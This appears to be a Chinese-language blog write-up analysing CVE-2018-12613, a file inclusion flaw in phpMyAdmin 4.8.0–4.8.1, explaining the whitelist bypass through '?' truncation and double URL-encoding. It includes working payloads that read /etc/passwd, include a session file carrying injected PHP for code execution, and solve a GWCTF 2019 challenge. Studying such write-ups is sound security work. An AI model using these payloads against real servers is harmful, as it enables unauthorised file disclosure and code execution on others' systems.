CVE-2018-12613 PhpMyadmin后台文件包含漏洞
(0)

介绍

phpmyadmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等

影响版本
Phpmyadmin Phpmyadmin 4.8.0
Phpmyadmin Phpmyadmin 4.8.0.1
Phpmyadmin Phpmyadmin 4.8.1

  1. 漏洞分析
    我没有找到源码,就根据网上的来学习

这个漏洞是出现在index.php

这里$_REQUEST['target']需要满足五个条件

$_REQUEST[]具用$_POST[] $_GET[]的功能,都可以接受表单数据,就是比较慢

1.! empty():不能为空
2.is_string():是一个字符串
3.! preg_match('/^index/',):^是匹配的开头的字符,也就是开头不能是index
4.! in_array(,$target_blacklist):不能在黑名单$target_blacklist中

$target_blacklist = array (
'import.php', 'export.php'
);

5.Core::checkPageValidity($_REQUEST['target'])为真
然后这个函数就在Core.php中

说一下这里面的几个函数:

mb_substr(string $str , int $start , int $length = null 
,string $encoding = mb_internal_encoding()):string

从$str中从$start开始,从0计数,提取字符串

mb_strpos( string $haystack , string $needle , int $offset = 
0 , string $encoding = mb_internal_encoding() ) : int

查找$needle在$haystack中首次出现的位置,并返回首次出现位置的数值,没有找到就返回false

urldecode(string $str):string

这个函数用来解码已编码的URL字符串(加号('+')被解码成一个空格字符)

了解完这几个函数后再去明白checkPageValidity更加清楚
这个函数传入了两个形参,第一个形参$page就是我们之前用的$_REQUEST['target'],第二个形参$whitelist = []
在第一个if判断$whitelist是否为空,如果为空就进行赋值,那就看一下self::$goto_whitelist是什么:

public static $goto_whitelist = array(
    'db_datadict.php',
    'db_sql.php',
    'db_events.php',
    'db_export.php',
    'db_importdocsql.php',
    'db_multi_table_query.php',
    'db_structure.php',
    'db_import.php',
    'db_operations.php',
    'db_search.php',
    'db_routines.php',
    'export.php',
    'import.php',
    'index.php',
    'pdf_pages.php',
    'pdf_schema.php',
    'server_binlog.php',
    'server_collations.php',
    'server_databases.php',
    'server_engines.php',
    'server_export.php',
    'server_import.php',
    'server_privileges.php',
    'server_sql.php',
    'server_status.php',
    'server_status_advisor.php',
    'server_status_monitor.php',
    'server_status_queries.php',
    'server_status_variables.php',
    'server_variables.php',
    'sql.php',
    'tbl_addfield.php',
    'tbl_change.php',
    'tbl_create.php',
    'tbl_import.php',
    'tbl_indexes.php',
    'tbl_sql.php',
    'tbl_export.php',
    'tbl_operations.php',
    'tbl_structure.php',
    'tbl_relation.php',
    'tbl_replace.php',
    'tbl_row_action.php',
    'tbl_select.php',
    'tbl_zoom_select.php',
    'transformation_overview.php',
    'transformation_wrapper.php',
    'user_password.php',
);

这是他给的一个白名单,$page需要在这个白名单当中
这里举个例子:

这里会对?之前的内容进行截断,然后判断,这里就会出现问题

如果我们的payload中已经有一个?,并且?之前的字符串在white中,那么就会直接返回true,而不管?后面的内容

下面还有一个url解码这里需要注意的是

我们把链接发送到服务器时会进行一次url解码,而这里又会进行一次url解码,所以我们要url编码两次才能绕过,双重编码的话,经过包含的文件会被当成一个目录(疑问)

其实我这里有一个问题:
在第一个?阶段的时候我们就能直接通过if返回true,并不再需要在经过那个url解码及以下的过程,直接返回就行,根本用不到二次编码构造的过程

  1. 漏洞复现
    上面已经基本理清了代码的思路,我们是想执行包含文件代码
    include $_REQUEST['target'];
    查看此phpmyadmin有漏洞:
    payload:?
    target=db_sql.php%253f/../../../../../../../../etc/passwd
    出现回显说明存在漏洞

1.session方法获取shell

查看session

先写入了sql命令:select '<?php phpinfo();?>'
phpmyadmin的session文件设置在/tmp目录下,需要在php.ini里把session.auto_start设为1,session.save_path=/tmp
然后访问/tmp/sess_xxxx

payload:?target=db_datadict.php%253f/../../../../../../../../tmp/sess_d5b 
7ff0ab9024fb015d86719a8ad42c6

2.把shell写入数据库

然后再包含数据库文件,但是我没有找到数据库文件

题目:[GWCTF 2019]我有一个数据库
wp:index.php?target=db_sql.php%253f/../../../../../../../../flag

参考链接:
https://xz.aliyun.com/t/6592
https://www.jianshu.com/p/fb9c2ae16d09

本文为作者hackerbo.com发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论